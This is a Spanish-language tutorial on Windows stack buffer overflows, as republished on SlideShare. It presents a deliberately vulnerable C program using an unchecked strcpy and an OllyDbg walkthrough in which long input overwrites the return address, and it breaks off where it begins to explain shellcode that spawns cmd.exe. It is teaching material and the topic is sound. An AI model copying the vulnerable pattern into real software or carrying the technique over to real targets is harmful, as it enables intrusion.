SlideShare una empresa de Scribd logo
1 de 45
Descargar para leer sin conexión
*****************************************
* EXPLOITS Y STACK OVERFLOWS EN WINDOWS *
* Rojodos rojodos2[at]yahoo[dot]es *
*****************************************
2016
Naaas :)
Visto el "miedo" que se tiene al tema de los exploits y los buffers overflows,
que parece algo místico, y que cada dos por tres un script kiddie pregunta en el
foro como compilar un exploit, como funciona un exploit o donde encuentro un
exploit, me he decidido a hacer un taller de buffers overflows y exploits, en
Windows :)
También veremos como crear una shellcode muy muy básica, muy explicadita, para
que se entienda perfectamente.
Quizás, si el tema tiene éxito, hagamos otro sobre Linux, aunque son bastante
parecidos, en Linux la cosa cambia en muchos aspectos.
Este documento esta basado en muchos que hay por la red, los cuales están al
final del mismo, y de la aportación de muchos usuarios en diversos foros, listas
de correo y como no, de exploits.
Es mi primer texto "en serio", además es bastante largo, y aunque creo que no
contiene errores muy graves, puede tenerlos :P cualquier fallo del texto,
Comentario, opinión, amenaza, donación, oferta de trabajo, etc... al correo :)
(abstenerse gilipolleces)
Vamos al tema :)
-== INTRODUCCION ==-
La teoría sobre el tema la iremos viendo según avance el documento, aunque antes
de nada, haremos unas definiciones muy simples. La idea de dichas definiciones
es saber "lo básico", ya que este texto esta dirigido a iniciados, no a gente
que ya domina el tema, aquí no vera nada nuevo, pero es imprescindible buscar
por Internet mucha más información (sobre todo lo referente a programar en C/C++
y ASM)
- C/C++
Es un lenguaje de programación muy extendido, multiplataforma, y fácil. Es la
base de nuestros sistemas operativos(salvo cosas en ensamblador como rutinas de
boot) y es tremendamente potente y optimizado. Sus archivos básicos son *.c y
*.cpp (para los C++). Es el lenguaje más recomendable para aprender, el más
útil.
- Ensamblador (ASM)
Es el lenguaje más "básico" que permite al programador interactuar con el CPU.
Las instrucciones en ASM se pasan a binario, que es lo que "entiende" la CPU, es
decir, 1s y 0s (aunque se agrupan en cadenas hexadecimales para mayor claridad).
Realmente, un compilador ASM lo único que hace es calcularte las etiquetas, los
saltos y los calls, y "encapsular" el ejecutable. Todos los lenguajes de
programación, a la hora de compilar (obviamente, los lenguajes de script no),
convierten su código en instrucciones ASM.
Instrucciones en ASM (Intel) son por ejemplo mov, push, pop, etc....(En AT&T,
seria popl, movl, pushl, etc..) Es un lenguaje de programación difícil de
aprender, solo para cosas puntuales o que requieran una gran optimización, pero
saberlo te dará muchas alegrías :) Cualquier informático debería poder entender
y dominar las instrucciones básicas.
- Debugger (Depurador)
Un debugger es un programa que permite ir "paso a paso", instrucción a
instrucción a otro programa. Al ir instrucción a instrucción, podemos ver
completamente que esta pasando, los registros, la memoria, etc, así como muchas
mas funciones muy interesantes. Su función principal es la de auditar código, y
ver el porque falla (o simplemente porque no realiza lo que queremos que haga),
es una herramienta imprescindible para cualquier programador. Lo que pasa que
también puede servir para otras cosas :)
- Dissasembler (Desamblador)
Un desamblador es un programa que te muestra el código de un programa, una dll,
lo que sea que este hecho de código que el desamblador entienda. Normalmente, te
muestra su código en ASM (por ejemplo, un programa codeado en C, te muestra la
conversión de dichas instrucciones C en ASM), aunque hay desambladores que
permiten ver su código (o parte de el) de programas hechos en JAVA o VBasic, por
ejemplo.
Normalmente, debugger y dissasembler van en el mismo programa, los mas usados
son el Ollydbg (el que usare aquí), Softice, IDA, Win32dasm...
- Hex Editor (Editor Hexadecimal)
No hay que confundir un dissasembler con un hex editor. El primero te muestra el
código de un programa, el hex editor simplemente te muestra el contenido de un
archivo, del tipo que sea, como un dumpeo hexadecimal y/o binario, así como la
posibilidad de modificar y guardar dicho archivo. Se usa para rastrear y
modificar archivos que usan programas, tanto para fines "de programación" (el
porque al cargar el archivo falla, el porque no se escribe bien, etc...) como de
"hacking" o "cracking".
A mi, personalmente, me gusta mucho el Hackman, pero se que hay mucho mejores :P
Cuestión de buscar.
- La CPU (microprocesador)
La CPU es el "corazón" de un ordenador. Es la unidad de hardware encargada de
ejecutar las instrucciones de un programa o sistema operativo, instrucción a
instrucción, que estén en una determinada área de memoria. Se ayuda de registros
donde almacena variables, datos o direcciones. Una explicación completa sobre el
tema, requeriría uno o varios libros, aunque googleando se encuentra muchísima
información.
- Registros de la CPU.
La cpu (microprocesador) contiene una serie de registros, donde almacena
variables, datos o direcciones de las operaciones que esta realizando en este
momento. El lenguaje ASM se sirve de dichos registros como variables de los
programas y rutinas, haciendo posible cualquier programa (de longitudes
considerables, claro). Los más interesantes son:
EIP Extended Instruction Pointer.
El registro EIP siempre apunta a la siguiente dirección de memoria que el
procesador debe ejecutar. La CPU se basa en secuencias de instrucciones, una
detrás de la otra, salvo que dicha instrucción requiera un salto, una
llamada...al producirse por ejemplo un "salto", EIP apuntara al valor del salto,
ejecutando las instrucciones en la dirección que especificaba el salto. Si
logramos que EIP contenga la dirección de memoria que queramos, podremos
controlar la ejecución del programa, si también controlamos lo que haya en esa
dirección.
EAX, EBX... ESI, EDI...
Son registros multipropósito para usarlo según el programa, se pueden usar de
cualquier forma y para alojar cualquier dirección, variable o valor, aunque cada
uno tiene funciones "especificas" según las instrucciones ASM del programa:
EAX:
Registro acumulador. Cualquier instrucción de retorno, almacenara dicho valor en
EAX. También se usa para sumar valores a otros registros en funciones de suma,
etc....
EBX
Registro base. Se usa como "manejador" o "handler" de ficheros, de direcciones
de memoria (para luego sumarles un offset) etc...
ECX
Registro contador. Se usa, por ejemplo, en instrucciones ASM loop como contador,
cuando ECX llega a cero, el loop se acaba.
EDX
Registro dirección o puntero. Se usa para referenciar a direcciones de memoria
mas el offset, combinado con registros de segmento (CS, SS, etc..)
ESI y EDI
Son registros análogos a EDX, se pueden usar para guardar direcciones de
memoria, offsets, etc..
CS, SS, ES y DS
Son registros de segmento, suelen apuntar a una cierta sección de la memoria. Se
suelen usar Registro+Offset para direccionar a una dirección concreta de
memoria. Los mas usados son CS, que apunta al segmento actual de direcciones que
esta ejecutando EIP, SS, que apunta a la pila y DS, que apunta al segmento de
datos actual. ES es "multipropósito", para lo mismo, referenciar direcciones de
memoria, y un largo etc...
ESP EBP
Extended Stack Pointer y Extender Base Pointer. Ambos los veremos más en
profundidad cuando explique la pila.
Sirven para manejar la pila, referenciando la "cima" (ESP) y la "base" (EBP).
ESP siempre contiene la dirección del inicio de la pila (la cima) que esta
usando el programa o hilo (thread) en ese momento. Cada programa usara un
espacio de la pila distinto, y cada hilo del programa también. EBP señala la
dirección del final de la pila de ese programa o hilo.
- ¿Que es una vulnerabilidad?
Una vulnerabilidad es un fallo que compromete la seguridad del programa o
sistema. Aunque se le asocia también a "bug" (fallo), pero no es lo mismo. Un
bug es un fallo de cualquier tipo, desde que un juego no funcione bien porque
vaya lento, a un programa que funciona mal al intentar hacer una división por 0.
Las vulnerabilidades son bugs de seguridad, que pueden comprometer el sistema o
el programa, permitiendo al "hacker" ejecutar código arbitrario, detener el
sistema o aprovecharse del mismo para sacar cualquier tipo de beneficio.
- ¿Que es un exploit?
Un exploit es un código, un "método", un programa, que realiza una acción contra
un sistema o programa que tiene una vulnerabilidad, "explotándola", y sacando un
beneficio de la misma. Dicho beneficio normalmente es la ejecución de código
(dentro de ese programa, con los privilegios del mismo) que nos beneficia,
dándonos por ejemplo una contraseña, o dándonos una shell de comandos, añadir un
usuario administrador al sistema, o incluso lo único que hacen es detener el
servicio o el sistema, según nuestros propósitos.
Habría que distinguir entre exploits "completos" (los que están completamente
funcionales) y los POCs (proof of concept) que son exploits que demuestran que
dicha vulnerabilidad existe y que es explotable, pero que no dan ningún
beneficio o el beneficio es mínimo. Normalmente se usan estos últimos para
evitar el uso de los mismos por niñatos (script kiddies) o para evitar gusanos
(supongo que se acuerdan del blaster o del sasser, se liberaron los exploits
completamente funcionales)
- ¿Que es una shellcode?
Una shellcode es un código básico en ASM, muy corto generalmente, que ejecuta
los comandos que queremos, como system("cmd.exe") (ejecuta una shell msdos en
windows); o execv("/bin/sh") (ejecuta una shell sh en Linux/Unix), o sirve
para añadir un usuario a la cuenta del sistema, para descargar un troyano y
ejecutarlo, para dejar abierto un puerto conectado a una shell, etc.... Es el
código que ejecutara el programa vulnerable una vez tengamos su control. No es
nada difícil de programar sabiendo ASM básico y como funciona tu SO.
Una vez programada en ASM (para testearla, por ejemplo, además de que es mas
fácil programarla en ASM que directamente con opcodes :P), se pasa a un string,
compuesto por los opcodes (codigos de operacion, en hexadecimal) de dichas
instrucciones ASM. Lo veremos mas adelante :)
- ¿Que es un overflow?
Un overflow es, básicamente, cuando resguardamos espacio de memoria insuficiente
para una variable (allocate), y le introducimos más datos a dicha variable de
los que puede soportar. La variable "desborda", y los datos que no caben
sobrescriben memoria continua a dicha variable. Si declaramos una variable que
solo debe soportar 8bytes, si le movemos 10bytes, los 2bytes restantes no se
pierden, sino que sobrescriben la memoria contigua a dicha variable.
Hay distintos tipos de overflow, stack overflow (el que veremos aquí, también
llamado buffer overflow, o desbordamiento de buffer, etc...), heap overflow (ya
lo veremos en algún otro texto, se refiere a desbordar una variable declarada en
el heap en vez de en la pila...), format string overflow (bugs de formato de las
cadenas de texto), integer overflow (debidos a declaraciones de variables con un
espacio mínimo o negativo que proveemos nosotros...), etc...
- ¿Porque se le llama Stack Overflow?
La pila (stack) es una estructura tipo LIFO, Last In, First Out, ultimo en
entrar, primero en salir. Pensad en una pila de libros, solo puedes añadir y
quitar libros por la "cima" de la pila, por donde los añades. El libro de mas
"abajo", será el ultimo en salir, cuando se vacíe la pila. Si tratas de quitar
uno del medio, se puede desmoronar.
Bien, pues el SO (tanto Windows como Linux, como los Unix o los Macs) se basa en
una pila para manejar las variables locales de un programa, los retornos (rets)
de las llamadas a una función (calls), las estructuras de excepciones (SEH,
en Windows), argumentos, variables de entorno, etc...
Por ejemplo, para llamar a una función cualquiera, que necesite dos argumentos,
se mete primero el argumento 2 en la pila del sistema, luego el argumento 1, y
luego se llama a la función.
Si el sistema quiere hacer una suma (5+2), primero introduce el 2º argumento en
la pila (el 2), luego el 1º argumento (el 5) y luego llama a la función suma.
Bien, una "llamada" a una función o dirección de memoria, se hace con la
instrucción ASM Call. Call dirección (llamar a la dirección) ó call registro
(llama a lo que contenga ese registro). El registro EIP recoge dicha dirección,
y la siguiente instrucción a ejecutar esta en dicha dirección, hemos "saltado" a
esa dirección.
Pero antes, el sistema debe saber que hacer cuando termine la función, por donde
debe seguir ejecutando código.
El programa puede llamara la función suma, pero con el resultado, hacer una
multiplicación, o simplemente mostrarlo por pantalla. Es decir, la CPU debe
saber por donde seguir la ejecución una vez terminada la función suma.
Para eso sirve la pila :) Justo al ejecutar el call, se GUARDA la dirección de
la siguiente instrucción en la pila.
Esa instrucción se denomina normalmente RET o RET ADDRESS, dirección de
"retorno" al programa principal (o a lo que sea).
Entonces, el call se ejecuta, se guarda la dirección, coge los argumentos de la
suma, se produce la suma y, como esta guardada la dirección por donde iba el
programa, VUELVE (RETORNA) a la dirección de memoria que había guardada
en la pila (el ret), es decir, a la dirección siguiente del call.
Vamos a verlo por pasos :)
1º Llegamos al call (EIP apunta a la instrucción call)
2º Se ejecuta el call. EIP apunta a la instrucción del call, es decir, donde
debemos ir)
3º Se guarda la siguiente instrucción después del call en la pila (el ret)
En ese momento, la pila esta así:
ESP | RET ADDRESS | EBP -8bytes
ESP +4bytes | argumento 1 | EBP -4bytes
ESP +8bytes | argumento 2 | <--- EBP apunta aquí (la base de la pila)
4º La cpu ejecuta la/las instrucciones dentro de la función suma (obviamente,
dentro de la función suma se usara la pila para almacenar datos y demás...)
5º La función suma alcanza la instrucción RETN (retorno), y EIP recoge la
dirección RET ADDRESS, y vuelve al programa principal, justo después del call
suma.
Espero que se entienda, es muy importante, ya que un stack overflow significa
introducir suficientes datos en la pila, hasta poder sobrescribir dicho ret
address, pero eso lo veremos mas adelante.
Imaginaos que al hacer ese call, dentro de la función suma necesitamos un
espacio para alojar por ejemplo, el resultado, o uno de los operandos, lo que
sea.
Bien, cuando el programa o el SO piden "espacio" para alojar una/s variable/s,
un dato, un nombre o lo que sea, dicho nombre normalmente se guarda en la pila
(no entraremos en temas de heap).
Básicamente, lo que se hace es crear un "espacio" entre un nuevo ESP y EBP (cima
y base de la pila) para alojar las variables. Son "nuevos" para no sobrescribir
los variables y valores que ya haya en la pila, de otras funciones o programas
Posteriormente, se introduce el EBP antiguo en la pila (se pushea), para saber
DONDE estaba la anterior base de la pila, la pila del proceso principal. Esto
también es importante, es el EBP salvado del proceso anterior. Cuando la función
suma acabe, EBP tomara el valor del EBP salvado, y estaremos otra vez en el
"trozo" de pila del proceso principal.
Ahora mismo, la pila esta así:
ESP | EBP anterior salvado | EBP - 4
ESP +4bytes | RET ADDRESS | <---- El EBP actual apunta aquí
ESP +8bytes | argumento 1 de suma | EBP +4
ESP +12bytes | argumento 2 de suma | EBP + 8
Tras esto, se "sustrae", se "resta" a ESP tantos bytes como necesitemos de
espacio para nuestra variable. Al sustraerle bytes, la diferencia entre ESP y
EBP son esos bytes, donde irán nuestros datos (nombre, datos, lo que sea). Por
ejemplo, si nuestra variable "nombre", necesita 12 bytes (siempre se hace con
múltiplos de 4, por temas de alineamiento en la pila), pues se le sustrae a ESP
12 bytes:
ESP | basura, aun no hay nada inicializado| EBP -16
ESP +4 | basura | EBP -12
ESP +8 | basura | EBP -8
ESP +12 | EBP anterior salvado | EBP -4
ESP +16 | RET ADDRESS | EBP (el EBP no cambia)
ESP +20 | argumento 1 de suma | EBP +4
ESP +24 | argumento 2 de suma | EBP +8
Como se ve, hay 4+4+4 bytes de basura (basura quiere decir que son datos que
había antes ahí, de anteriores usos de la pila, pero que no nos sirven) para
nuestro nombre o lo que sea, de 12 bytes.
Pero, si esos bytes no son suficientes, al introducir nuestro nombre por
ejemplo, si solo tenemos espacio para 12 bytes (12 caracteres), y introducimos
14, los 2 bytes que sobran, sobrescribirán la memoria contigua a la declarada en
la variable, es decir, sobrescribirán el EBP de la anterior función, si metemos
4 lo sobrescribiremos completamente:
Introducimos AAA...A (16 As) para ver que pasa (esto no se haría con push, que
aumentan ESP, sino con instrucciones MOV)
ESP | AAAA | EBP -16
ESP +4 | AAAA | EBP -12
ESP +8 | AAAA | EBP -8
ESP +12 | (EBP anterior salvado sobrescrito) AAAA | EBP -4
ESP +16 | RET ADDRESS | EBP
ESP +20 | argumento 1 de suma | EBP +4
ESP +24 | argumento 2 de suma | EBP +8
Y si le metemos otras 4 AAAA, sobrescribiremos el ret, que es lo que nos
interesa :)
Bien, pasemos a la práctica real, donde se vera todo mucho mejor explicado :)
-== EJEMPLO CODIGO VULNERABLE A STACK OVERFLOW ==-
Hache esta el típico típico típico código de stack overflow. Cualquiera que haya
leído un doc sobre buffer overflow, habrá visto un código semejante (sino igual)
a este.
Y, como todos los tutoriales sobre programación empiezan con el "Hola Mundo", yo
empezare con el código típico vulnerable :)
El código esta comentado (//) para que entendáis cada línea:
/* vuln1.c por Rojodos */
#include <stdio.h> // librería stdio.h, funciones básicas de Entrada/Salida
int main (int argc, char **argv){ // La función "principal" del programa
función
char buffer[64]; //Declaramos un array con 64 bytes de espacio
if (argc < 2){ // Si los argumentos son menores que 2...
printf ("Introduzca un argumento al programan"); //Printeamos
return 0; // y retornamos 0 a la función main, y el programa acaba
}
strcpy (buffer, argv[1]); // Aqui es donde esta el fallo.
return 0; // Devolvemos 0 a main, y el programa acaba.
}
El fallo esta en la función strcpy. Esa función copiara lo que hayamos metido
por argumentos al programa (argv[1]) dentro de la variable buffer. Pero buffer
solo tiene espacio para 64 caracteres, no hay ningún chequeo de tamaño de la
fuente (eso se hace por ejemplo, con la función mas segura strncpy), y por
argumentos al programa le podemos meter lo que queramos.
Si lo compilamos (con cualquier compilador C/C++ en Windows, recomiendo Dev Cpp
o Visual C++), generamos el archivo vuln1.exe
Al ejecutarlo en una consola MSDOS así:
Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
F:Rojodosmanual exploits>vuln1 AAAAA(Muchas AAAAs, mas de 64)AAAAAAAAAAA....
Os saldrá la típica ventanita de que vuln1.exe ha detectado un problema y debe
cerrarse. Si pincháis en "Para ver los datos de los errores, haga click aquí",
veréis que pone "Offset:41414141". "A" en hexadecimal es 41 (mirad la tabla en
www.asciitable.com). Es decir, hemos sobrescrito la dirección de retorno de MAIN
() (no de strcpy, pues la dirección de strcpy va ANTES de la variable buffer en
la pila, ya que primero se declara buffer, y luego se llama a strcpy, con lo que
la variable buffer esta "debajo", en direcciones mas altas, de strcpy en la
pila) con AAAA --> 41414141 :)
Esto lo podemos ver mucho mejor en un debugger, como el Ollydbg (en
www.elhacker.net lo encontraras fácilmente, o en su pagina principal, googlead
un poco)
Usar un debugger, y mas el olly, es realmente fácil, no tiene ningún misterio.
Si alguien se cree que es una herramienta para "elites" y súper difícil de usar,
esta completamente equivocado.
Bien, con el olly, cargamos el programa (File -> Open -> vuln1.exe). Veréis que
salen un montón de instrucciones en la ventana principal, con la dirección
relativa de código inicial de 00401000. Esta dirección es la dirección base del
ejecutable en memoria (00400000, el 99% de los ejecutables se carga en esa
dirección) mas el offset señalado en el PE header, que indica donde empieza el
código (entry point, en este caso el offset es +1000h).
También deberíais ver a vuestra derecha, el estado de los registros de la CPU,
EAX, EBX...ESI, EDI, EBP, ESP y EIP, y los valores que contienen. Abajo a la
izquierda, deberíais ver el dumpeo en hexadecimal, cosa que no usaremos, y abajo
a la derecha, la pila (stack). Ahí tenéis que tener la vista casi fija :)
Una vez cargado el ejecutable (se os abrirá una ventanita de MS-DOS, pero que no
sale nada, no os preocupéis, el programa esta cargado en memoria, pero no se
esta ejecutando aun),le metemos los argumentos (copiamos todas las AAAs
que hay mas arriba en el texto, y nos vamos a Debug -> Arguments, y las copiamos
ahí). Os dirá que tenemos que resetear el programa para que los argumentos
tengan efecto (nos vamos a Debug-> Restart). Y listo :)
Le damos a RUN (Debug -> Run ó F9) y....
Access violation when executing [41414141]
Fijaros en el valor de EIP (ventana de los registros del CPU). EIP = 41414141 Ha
tratado de ejecutar lo que hay en la dirección "AAAA" :)
Vamos a ver esto un poco mas "pausado", para ver como funciona realmente.
Hacemos un Restart (Debug->Restart) y vuelve el programa a su estado inicial
(los argumentos siguen siendo las AAAs que metimos, no hay que cambiarlo). Esta
vez vamos a poner un breakpoint en la función de strcpy, para ver en directo
que esta pasando.
Un breakpoint es un "punto de ruptura", que indica al debugger que cuando la
ejecución llegue ahí (cuando el registro EIP señale la dirección de memoria
donde hemos puesto el BP), se pare la ejecución (NO SE EJECUTA LA INSTRUCCION
SEÑALADA CON EL BP), para echar un vistazo, a ver que esta pasando :)
Bajamos un poco por el código, hasta que encontramos algo así:
004012CD |. 68 80124000 PUSH vuln1.00401280 ; /format =
"Introduzca un argumento al programa"
004012D2 |. E8 79170000 CALL <JMP.&msvcrt.printf> ; printf
004012D7 |. 83C4 10 ADD ESP,10
004012DA |. EB 17 JMP SHORT vuln1.004012F3
004012DC |> 83EC 08 SUB ESP,8
004012DF |. 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C]
004012E2 |. 83C0 04 ADD EAX,4
004012E5 |. FF30 PUSH DWORD PTR DS:[EAX] ; /src
004012E7 |. 8D45 B8 LEA EAX,DWORD PTR SS:[EBP-48] ; |
004012EA |. 50 PUSH EAX ; |dest
004012EB |. E8 50170000 CALL <JMP.&msvcrt.strcpy> ; strcpy
004012F0 |. 83C4 10 ADD ESP,10
Os explico antes de nada, que es cada "cosa". 004012XX es la dirección relativa
de memoria donde esta el ejecutable.
Es decir, su dirección relativa en la RAM. Como ya he dicho, todos los
ejecutables cargados en memoria, empiezan en 00400000+offset del entry point
(que normalmente es 1000h, osea, el punto inicial en la memoria de inicio del
código del programa es 00401000h). EIP va cogiendo cada dirección, una detrás de
otra, y la CPU ejecuta la instrucción contenida en esa dirección.
68 80124000 --> Son los "opcodes" de la instrucción ASM, mas o menos como decir
que es la instrucción ASM “convertida” en hexadecimal (mas bien de binario
01010.. a hexadecimal, para que lo podamos comprender mucho mejor). Esto nos
vendrá bien para que hagamos nuestra shellcode :)
PUSH vuln1.00401280 --> instrucciones en ASM, en este caso esta introduciendo
en la pila la dirección del ejecutable (sección .data) donde esta el string
"Introduzca un..."
Lo demás, es una "ayuda" del ollydbg, que te puede decir por ejemplo que estas
introduciendo en la pila (format="Introduzca..."), o a que estas llamando (CALL
<JMP.&msvcrt.printf> ; printf), etc....
Bien, el printf ese, es el código que se ejecuta si no le metemos argumentos al
programa, no nos tiene porque interesar (es el código que se ejecuta cuando no
metemos argumentos al programa)
Pero si esto:
004012EB |. E8 50170000 CALL <JMP.&msvcrt.strcpy> ; strcpy
004012F0 |. 83C4 10 ADD ESP,10
Aquí se produce la llamada a la función vulnerable (llama a la DLL msvcrt.dll,
donde esta la función C strcpy) y si os fijáis, la siguiente dirección a
ejecutar es 004012F0 ADD ESP,10. Cuando se produzca el Call strcpy, se
pusheara en la pila 004012F0, que es la dirección de retorno (ret address).
Para verlo, pondremos un breakpoint en la llamada a strcpy. Pulsáis con el ratón
en esa dirección, y pulsáis F2. Se tendría que iluminar de rojo esa dirección.
Pues tras ponerle el BP, le damos a RUN (F9)
El programa se detiene antes de ejecutar esa instrucción (fijaos que ahora,
aparte de rojo, aparece con un cuadro negro la dirección de memoria, significa
que esa es la siguiente dirección a ejecutar). Por si no nos ha quedado claro,
EIP marca precisamente esa dirección, 004012EB
¿Que hay en la pila?
0022FF00 0022FF28 |dest = 0022FF28
0022FF04 003D24A3 src = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas
AAAAAAAAs)
AAAAAAAAAAAAAAAA"
ESP apunta a 0022FF00, donde vemos el destino (0022FF28, que es la dirección de
la variable buffer en la pila, mas "abajo", osea en direcciones mas altas). Y
"src" (source -> fuente) es lo que vamos a copiar en el destino, 0022FF28.
Esta referenciado por 003D24A3, que precisamente es la dirección de argv[1],
donde comienza la cadena "AAAAA....".
Sigamos.
Que hay en 0022FF28? Pues espacio "reservado" para la variable buffer. Sin
embargo, vemos algo así:
0022FF28 |FFFFFFFF <-- Empiezan los 64 bytes reservados para buffer, es basura
0022FF2C |77BFAB33 RETURN to msvcrt.77BFAB33 from msvcrt.77C054FD <-- Basura
0022FF30 |77C09348 RETURN to msvcrt.77C09348 from msvcrt.free <-- Basura
0022FF34 |003D25A8 <-- Basura
0022FF38 |003D2470 <-- ..
0022FF3C |0000000C <-- ...
0022FF40 |77C08A55 RETURN to msvcrt.77C08A55 from msvcrt.77C09292 <--basura
0022FF44 |004D7EF9
0022FF48 |0012D548
0022FF4C |7FFDF000 <-- Todo esto hasta abajo siguie siendo basura
0022FF50 |000000ED
0022FF54 |00000003
0022FF58 |0022FF60
0022FF5C |77BEE921 RETURN to msvcrt.77BEE921 from msvcrt.77C089C2 <--basura
0022FF60 |0022FFA0
0022FF64 |004010C0 RETURN to vuln1.004010C0 from <JMP.&msvcrt.__getmainargs>
0022FF68 |00403000 vuln1.00403000 <-- basura...
0022FF6C |00403004 vuln1.00403004 <--- AQUI terminan los 64 bytes reservados
para buffer (incluido)
0022FF70 ]0022FFA0 <-- EBP salvado del anterior proceso (main)
0022FF74 |00401170 RETURN to vuln1.00401170 from vuln1.004012A6 <-- dirección
de retorno de main()
Si os fijáis, justo debajo de donde terminan los 64 bytes reservados para buffer
(todo lo que hay es basura, de anteriores funciones y tal, que no se van a
volver a usar), esta el EBP anterior salvado (el EBP de la función main,
la base de SU pila) y debajo esta la dirección de retorno de la función main.
Veis que esta en la dirección 0022FF74, y que apunta a la instrucción 00401170.
Cuando la función main() del programa termina, se ejecuta lo que haya en
esa dirección.
¿Y que hay ahí?
00401170 |. 89C3 MOV EBX,EAX ; |
00401172 |. E8 59180000 CALL <JMP.&msvcrt._cexit> ;
|[msvcrt._cexit
00401177 |. 891C24 MOV DWORD PTR SS:[ESP],EBX ; |
0040117A . E8 51190000 CALL <JMP.&KERNEL32.ExitProcess> ;
ExitProcess
Una llamada a exit en msvcrt.dll y posteriormente una llamada a la API
ExitProcess dentro de Kernel32.dll, el programa termina.
¿Fácil no?
Bueno, estamos parados justo antes de entrar en el strcpy. Para no tener que ir
saltando por la DLL (lo que haría seria ir instrucción por instrucción de como
trabaja strcpy() en la msvcrt.dll), en vez de pulsar F7 (que ENTRARIAMOS en el
CALL), le damos a F8, que "salta" a la siguiente instrucción sin entrar en el
CALL. (Es decir, el call se ejecuta así como todas las instrucciones que
conlleva, pero nosotros no lo vemos, el programa se para justo después de
terminar la función strcpy). Si pulsáis F9 (Run), el programa terminara con el
fallo famoso, y no veremos nada, así que pulsad F8.
Ahora se ha ejecutado la función strcpy, se han copiado todas las AAAs al
buffer, y estamos justo debajo de la llamada a Strcpy():
004012EB |. E8 50170000 CALL <JMP.&msvcrt.strcpy> ; strcpy
004012F0 |. 83C4 10 ADD ESP,10 <--- Estamos aquí
EIP apunta a 004012F0, es la siguiente instrucción que se va a ejecutar.
Miremos la pila:
0022FF00 0022FF28 ASCII
"14AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas
AAAAs) AAAAAAAAAAAAAAAAAAA"
0022FF04 003D24A3 ASCII
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas
AAAAs) AAAAAAAAAAAAAAAAAAA"
0022FF08 0022FF70 ASCII "AAAAAAAAAAAAAAAAAAAAAA(muchas AAAAs)
AAAAAAAAAAAAAAAAAAAAAAAA"
0022FF0C 004012C4 RETURN to vuln1.004012C4 from vuln1.004013D0
0022FF10 77BE2048 msvcrt.77BE2048
0022FF14 0022FEF8
0022FF18 77BFAC19 RETURN to msvcrt.77BFAC19 from msvcrt.77C054FD
0022FF1C 0022FFE0 ASCII "AAAAAAAAAAAAA"
0022FF20 77C03EB0 msvcrt._except_handler3
0022FF24 00000000
0022FF28 41414141 <-- Aqui empieza la variable buffer
0022FF2C 41414141
0022FF30 41414141
0022FF34 41414141
0022FF38 41414141
0022FF3C 41414141
0022FF40 41414141
0022FF44 41414141
0022FF48 41414141
0022FF4C 41414141
0022FF50 41414141
0022FF54 41414141
0022FF58 41414141
0022FF5C 41414141
0022FF60 41414141
0022FF64 41414141
0022FF68 41414141
0022FF6C 41414141 <--- Aquí terminaban los 64 bytes de tamaño de buffer. A
partir de aquí hemos hecho el overflow.
0022FF70 41414141 <--- EBP salvado del anterior proceso, sobrescrito con AAAA
0022FF74 41414141 <--- Antigua dirección del ret del main () sobrescrito con
AAAA
0022FF78 41414141
0022FF7C 41414141
0022FF80 41414141
0022FF84 41414141
Hay muchas cosas en la pila (fijaos por donde han entrado) derivadas del uso del
strcpy:
0022FF00 0022FF28 ASCII
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas
AAAAs) AAAAAAAAAAAAAAAAAAA"
La direccion 0022FF00 contiene la dirección de la pila (0022FF28) donde empieza
la variable buffer, donde empiezan todas nuestras AAAAs...
0022FF04 003D24A3 ASCII
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas
AAAAs) AAAAAAAAAAAAAAAAAAA"
La dirección 0022FF04 contiene la dirección en el HEAP (memoria dinámica) de la
variable argv[1], donde están las AAAs que introducimos por argumento al
programa.
0022FF08 0022FF70 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas
AAAAs)
AAAAAAAAAAAA"
La dirección 0022FF08 contiene la dirección del antiguo EBP del main, que ahora
esta sobrescrito con AAAAs...
Y mas cosas que no vienen al caso, pero como veis, hemos sobrescrito la
dirección de retorno del main (), la que llamaba a finalizar el proceso (Hemos
sobrescrito mucho más :P, pero bueno.... así se ve mejor).
¿Eso que quiere decir?
Si vemos nuestro programita principal, justo después del call (la ejecución ha
vuelto al programa principal):
004012EB |. E8 50170000 CALL <JMP.&msvcrt.strcpy> ; strcpy
004012F0 |. 83C4 10 ADD ESP,10 <--- Estamos aquí parados (EIP =
004012F0)
004012F3 |> B8 00000000 MOV EAX,0
004012F8 |. C9 LEAVE
004012F9 . C3 RETN <-- cuando llegue aquí....
Cuando llegue a ejecutar el RETN (antes de ejecutarlo), veremos que EBP vale
41414141, ya que era la "base" de la pila del anterior proceso, en este caso
main() (se salva para delimitar los "trozos" de pila que corresponden a cada
función, como ya he dicho) y que ESP ha "disminuido" debido al ADD ESP, 10 y al
LEAVE y que ahora apunta a 0022FF74.
0022FF74 41414141 <--- Antigua dirección del ret del main () A partir de aquí
hemos hecho el overflow.
Al ejecutar el RETN, EIP "recogerá" la dirección que apunta ESP (0022FF74) que
debería ser la dirección de la llamada a ExitProcess(), pero que en este caso es
41414141 porque la hemos sobrescrito.
La CPU tratara de ejecutar lo que haya en 41414141, que esta fuera del segmento
de usuario, y petara :)
Un bonito overflow de pila, normal y corriente :)
-== ¿PARA QUE NOS SIRVE UN STACK OVERFLOW? ==-
¿Bien, y todo esto para que nos sirve?
Bueno, y ¿si hubiéramos sobrescrito la dirección del retorno de main con la
dirección de un código que nos fuera provechoso? Ese código provechoso es
nuestra shellcode :)
Si conseguimos que el programa salte a donde nosotros queramos, donde este
nuestra shellcode, podremos ejecutar CUALQUIER código (funciones, etc...
cualquier cosa, aunque mientras mas complicada, mas grande será la shellcode,
y hay que tener en cuenta el tamaño del buffer...). Una shellcode puede ejecutar
cualquier cosa, tanto en Windows, como en Linux y derivados.
Y donde metemos nuestra shellcode???? (ahora lo veremos) Y mas importante aun...
¿COMO LA HACEMOS?
Una shellcode se hace en ensamblador, en ASM. No es tan difícil como parece :)
Tratare de explicar como codear una pequeña y simple shellcode que ejecute una
shell cmd.
Bien, antes de nada, aquí es más que recomendable tener el Visual C++ 6.0.
Básicamente, lo que queremos es convertir esta función C, en un código ASM, y
posteriormente, ese código convertirlo en hexadecimal, y pasárselo al programa
como parámetro, pero ya entraremos en eso.
